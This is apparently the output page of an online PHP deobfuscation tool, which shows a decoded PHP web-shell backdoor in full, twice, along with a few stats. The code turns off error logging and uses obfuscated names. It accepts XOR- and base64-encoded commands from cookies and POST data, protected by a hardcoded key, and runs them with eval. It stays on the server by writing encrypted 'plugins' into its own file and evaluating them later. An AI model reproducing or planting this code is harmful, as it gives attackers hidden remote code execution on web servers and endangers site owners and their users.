Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0..

Decoded Output download

<?  @ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "
");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $zloqypphgrgxew = '24654e40-df96-40b8-a057-9bc7e12cd8d6';
    global $zloqypphgrgxew;

    function gsdbaza($hnbczqhgwycadw) {

        if (strlen($hnbczqhgwycadw) < 4)
        {
            return "";
        }

        $zpouww = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $mpbssmfh = str_split($zpouww);
        $mpbssmfh = array_flip($mpbssmfh);

        $cgctop = 0;
        $gzgcxr = "";

        $hnbczqhgwycadw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $hnbczqhgwycadw);

        do {
            $cffegraj = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $qiqcdthl = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $roxvypx = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $rpkimrj = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];

            $hmqsjpdd = ($cffegraj << 2) | ($qiqcdthl >> 4);
            $mzbsoyrf = (($qiqcdthl & 15) << 4) | ($roxvypx >> 2);
            $pilebd = (($roxvypx & 3) << 6) | $rpkimrj;
            $gzgcxr = $gzgcxr . chr($hmqsjpdd);
            if ($roxvypx != 64) {
                $gzgcxr = $gzgcxr . chr($mzbsoyrf);
            }
            if ($rpkimrj != 64) {
                $gzgcxr = $gzgcxr . chr($pilebd);
            }
        } while ($cgctop < strlen($hnbczqhgwycadw));
        return $gzgcxr;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($zloqypph, $hnbczqh, $vsuvalmszji = False)
        {
            $zloqypphfzqjvv = $vsuvalmszji == 8 ? 'a' : 'w';
            $vsuval = @fopen($zloqypph, $zloqypphfzqjvv);
            if ($vsuval === False)
            {
                return 0;
            }
            else
            {
                if (is_array($hnbczqh)) $hnbczqh = implode($hnbczqh);
                $cmeowkjo = fwrite($vsuval, $hnbczqh);
                fclose($vsuval);
                return $cmeowkjo;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($avwshi)
        {
            $cgctopaijrdau = fopen($avwshi, "r");
            $mknscpsi = fread($cgctopaijrdau, filesize($avwshi));
            fclose($cgctopaijrdau);

            return $mknscpsi;
        }
    }
    function tmmptxdk()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function evrahfno($kangepcxfcj, $kgzcoy)
    {
        $blfufjy = "";

        for ($cgctop=0; $cgctop<strlen($kangepcxfcj);)
        {
            for ($kangep=0; $kangep<strlen($kgzcoy) && $cgctop<strlen($kangepcxfcj); $kangep++, $cgctop++)
            {
                $blfufjy .= chr(ord($kangepcxfcj[$cgctop]) ^ ord($kgzcoy[$kangep]));
            }
        }

        return $blfufjy;
    }

    function nhwsmp($kangepcxfcj, $kgzcoy)
    {
        global $zloqypphgrgxew;

        return evrahfno(evrahfno($kangepcxfcj, $kgzcoy), $zloqypphgrgxew);
    }
    function pmworabk($kangepcxfcj, $kgzcoy)
    {
        global $zloqypphgrgxew;

        return evrahfno(evrahfno($kangepcxfcj, $zloqypphgrgxew), $kgzcoy);
    }

    function ffbhqqjm()
    {
        $ctkfqxl = @file_get_contents(tmmptxdk());

        $cgctopthacfdx = strpos($ctkfqxl, md5(tmmptxdk()));
        if ($cgctopthacfdx !== FALSE)
        {
            $hnbczqhdmiocoa = substr($ctkfqxl, $cgctopthacfdx + 32);
            $cgctopdyzzv = @unserialize(nhwsmp(rawurldecode($hnbczqhdmiocoa), md5(tmmptxdk())));
        }
        else
        {
            $cgctopdyzzv = Array();
        }

        return $cgctopdyzzv;
    }

    function dnmoih($cgctopdyzzv)
    {
        $mqvxureq = rawurlencode(pmworabk(@serialize($cgctopdyzzv), md5(tmmptxdk())));
        $ctkfqxl = @file_get_contents(tmmptxdk());

        $cgctopthacfdx = strpos($ctkfqxl, md5(tmmptxdk()));
        if ($cgctopthacfdx !== FALSE)
        {
            $epfoit = substr($ctkfqxl, $cgctopthacfdx + 32);
            $ctkfqxl = str_replace($epfoit, $mqvxureq, $ctkfqxl);

        }
        else
        {
            $ctkfqxl = $ctkfqxl . "

//" . md5(tmmptxdk()) . $mqvxureq;
        }

        @file_put_contents(tmmptxdk(), $ctkfqxl);
    }

    function rliuop($bufcsfo, $kdnuutgu)
    {
        $cgctopdyzzv = ffbhqqjm();

        $cgctopdyzzv[$bufcsfo] = gsdbaza($kdnuutgu);

        dnmoih($cgctopdyzzv);
    }

    function accxylc($bufcsfo)
    {
        $cgctopdyzzv = ffbhqqjm();

        unset($cgctopdyzzv[$bufcsfo]);

        dnmoih($cgctopdyzzv);
    }

    function rifhkzka($bufcsfo=NULL)
    {
        foreach (ffbhqqjm() as $kangepvszrj=>$wacqys)
        {
            if ($bufcsfo)
            {
                if (strcmp($bufcsfo, $kangepvszrj) == 0)
                {
                    eval($wacqys);
                    break;
                }
            }
            else
            {
                eval($wacqys);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $ltivaw => $kangepcxfcj)
    {
        $kangepcxfcj = @unserialize(nhwsmp(gsdbaza($kangepcxfcj), $ltivaw));

        if (isset($kangepcxfcj['ak']) && $zloqypphgrgxew==$kangepcxfcj['ak'])
        {
            if ($kangepcxfcj['a'] == 'i')
            {
                $cgctop = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $kangepcxfcj['ak'],
                );
                echo @serialize($cgctop);
                exit;
            }
            elseif ($kangepcxfcj['a'] == 'e')
            {
                eval($kangepcxfcj['d']);
            }
            elseif ($kangepcxfcj['a'] == 'plugin')
            {
                if($kangepcxfcj['sa'] == 'add')
                {
                    rliuop($kangepcxfcj['p'], $kangepcxfcj['d']);
                }
                elseif($kangepcxfcj['sa'] == 'rem')
                {
                    accxylc($kangepcxfcj['p']);
                }
            }
            echo $kangepcxfcj['ak'];
            exit();
        }
    }

    rifhkzka();
}
 ?>

Did this file decode correctly?

Original Code

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $zloqypphgrgxew = '24654e40-df96-40b8-a057-9bc7e12cd8d6';
    global $zloqypphgrgxew;

    function gsdbaza($hnbczqhgwycadw) {

        if (strlen($hnbczqhgwycadw) < 4)
        {
            return "";
        }

        $zpouww = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $mpbssmfh = str_split($zpouww);
        $mpbssmfh = array_flip($mpbssmfh);

        $cgctop = 0;
        $gzgcxr = "";

        $hnbczqhgwycadw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $hnbczqhgwycadw);

        do {
            $cffegraj = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $qiqcdthl = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $roxvypx = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];
            $rpkimrj = $mpbssmfh[$hnbczqhgwycadw[$cgctop++]];

            $hmqsjpdd = ($cffegraj << 2) | ($qiqcdthl >> 4);
            $mzbsoyrf = (($qiqcdthl & 15) << 4) | ($roxvypx >> 2);
            $pilebd = (($roxvypx & 3) << 6) | $rpkimrj;
            $gzgcxr = $gzgcxr . chr($hmqsjpdd);
            if ($roxvypx != 64) {
                $gzgcxr = $gzgcxr . chr($mzbsoyrf);
            }
            if ($rpkimrj != 64) {
                $gzgcxr = $gzgcxr . chr($pilebd);
            }
        } while ($cgctop < strlen($hnbczqhgwycadw));
        return $gzgcxr;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($zloqypph, $hnbczqh, $vsuvalmszji = False)
        {
            $zloqypphfzqjvv = $vsuvalmszji == 8 ? 'a' : 'w';
            $vsuval = @fopen($zloqypph, $zloqypphfzqjvv);
            if ($vsuval === False)
            {
                return 0;
            }
            else
            {
                if (is_array($hnbczqh)) $hnbczqh = implode($hnbczqh);
                $cmeowkjo = fwrite($vsuval, $hnbczqh);
                fclose($vsuval);
                return $cmeowkjo;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($avwshi)
        {
            $cgctopaijrdau = fopen($avwshi, "r");
            $mknscpsi = fread($cgctopaijrdau, filesize($avwshi));
            fclose($cgctopaijrdau);

            return $mknscpsi;
        }
    }
    function tmmptxdk()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function evrahfno($kangepcxfcj, $kgzcoy)
    {
        $blfufjy = "";

        for ($cgctop=0; $cgctop<strlen($kangepcxfcj);)
        {
            for ($kangep=0; $kangep<strlen($kgzcoy) && $cgctop<strlen($kangepcxfcj); $kangep++, $cgctop++)
            {
                $blfufjy .= chr(ord($kangepcxfcj[$cgctop]) ^ ord($kgzcoy[$kangep]));
            }
        }

        return $blfufjy;
    }

    function nhwsmp($kangepcxfcj, $kgzcoy)
    {
        global $zloqypphgrgxew;

        return evrahfno(evrahfno($kangepcxfcj, $kgzcoy), $zloqypphgrgxew);
    }
    function pmworabk($kangepcxfcj, $kgzcoy)
    {
        global $zloqypphgrgxew;

        return evrahfno(evrahfno($kangepcxfcj, $zloqypphgrgxew), $kgzcoy);
    }

    function ffbhqqjm()
    {
        $ctkfqxl = @file_get_contents(tmmptxdk());

        $cgctopthacfdx = strpos($ctkfqxl, md5(tmmptxdk()));
        if ($cgctopthacfdx !== FALSE)
        {
            $hnbczqhdmiocoa = substr($ctkfqxl, $cgctopthacfdx + 32);
            $cgctopdyzzv = @unserialize(nhwsmp(rawurldecode($hnbczqhdmiocoa), md5(tmmptxdk())));
        }
        else
        {
            $cgctopdyzzv = Array();
        }

        return $cgctopdyzzv;
    }

    function dnmoih($cgctopdyzzv)
    {
        $mqvxureq = rawurlencode(pmworabk(@serialize($cgctopdyzzv), md5(tmmptxdk())));
        $ctkfqxl = @file_get_contents(tmmptxdk());

        $cgctopthacfdx = strpos($ctkfqxl, md5(tmmptxdk()));
        if ($cgctopthacfdx !== FALSE)
        {
            $epfoit = substr($ctkfqxl, $cgctopthacfdx + 32);
            $ctkfqxl = str_replace($epfoit, $mqvxureq, $ctkfqxl);

        }
        else
        {
            $ctkfqxl = $ctkfqxl . "\n\n//" . md5(tmmptxdk()) . $mqvxureq;
        }

        @file_put_contents(tmmptxdk(), $ctkfqxl);
    }

    function rliuop($bufcsfo, $kdnuutgu)
    {
        $cgctopdyzzv = ffbhqqjm();

        $cgctopdyzzv[$bufcsfo] = gsdbaza($kdnuutgu);

        dnmoih($cgctopdyzzv);
    }

    function accxylc($bufcsfo)
    {
        $cgctopdyzzv = ffbhqqjm();

        unset($cgctopdyzzv[$bufcsfo]);

        dnmoih($cgctopdyzzv);
    }

    function rifhkzka($bufcsfo=NULL)
    {
        foreach (ffbhqqjm() as $kangepvszrj=>$wacqys)
        {
            if ($bufcsfo)
            {
                if (strcmp($bufcsfo, $kangepvszrj) == 0)
                {
                    eval($wacqys);
                    break;
                }
            }
            else
            {
                eval($wacqys);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $ltivaw => $kangepcxfcj)
    {
        $kangepcxfcj = @unserialize(nhwsmp(gsdbaza($kangepcxfcj), $ltivaw));

        if (isset($kangepcxfcj['ak']) && $zloqypphgrgxew==$kangepcxfcj['ak'])
        {
            if ($kangepcxfcj['a'] == 'i')
            {
                $cgctop = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $kangepcxfcj['ak'],
                );
                echo @serialize($cgctop);
                exit;
            }
            elseif ($kangepcxfcj['a'] == 'e')
            {
                eval($kangepcxfcj['d']);
            }
            elseif ($kangepcxfcj['a'] == 'plugin')
            {
                if($kangepcxfcj['sa'] == 'add')
                {
                    rliuop($kangepcxfcj['p'], $kangepcxfcj['d']);
                }
                elseif($kangepcxfcj['sa'] == 'rem')
                {
                    accxylc($kangepcxfcj['p']);
                }
            }
            echo $kangepcxfcj['ak'];
            exit();
        }
    }

    rifhkzka();
}

Function Calls

ini_set 3
defined 1
error_reporting 1
set_time_limit 1

Variables

None

Stats

MD5 47db4e29fb218edd21c40112da9742fd
Eval Count 0
Decode Time 184 ms